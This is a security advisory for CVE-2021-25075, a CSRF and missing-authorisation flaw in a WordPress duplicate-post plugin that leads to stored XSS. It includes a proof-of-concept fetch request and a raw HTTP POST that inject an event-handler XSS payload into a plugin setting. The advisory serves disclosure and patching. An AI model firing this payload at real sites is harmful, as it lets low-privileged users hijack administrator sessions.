Duplicate Page or Post < 1.5.1 – Arbitrary Settings Update to Stored XSS | CVE 2021-25075

Description

The plugin does not have any authorisation and has a flawed CSRF check in the wpdevart_duplicate_post_parametrs_save_in_db AJAX action, allowing any authenticated users, such as subscriber to call it and change the plugin's settings, or perform such attack via CSRF. Furthermore, due to the lack of escaping, this could lead to Stored Cross-Site Scripting issues

v1.4.7 added authorisation, 1.4.8 added escaping, 1.5.1 fixed the flawed CSRF check

Proof of Concept

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded"
  },
  "body": new URLSearchParams({"action": "wpdevart_duplicate_post_parametrs_save_in_db", "title_prefix": '" style=animation-name:rotation onanimationstart=alert(/XSS/) p'}),
  "method": "POST",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 140
Connection: close
Cookie: [any authenticated user]

action=wpdevart_duplicate_post_parametrs_save_in_db&title_prefix=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28/XSS/%29+p


The XSS will be triggered when an admin access the plugin's settings page: https://example.com/wp-admin/admin.php?page=wpda_duplicate_post_menu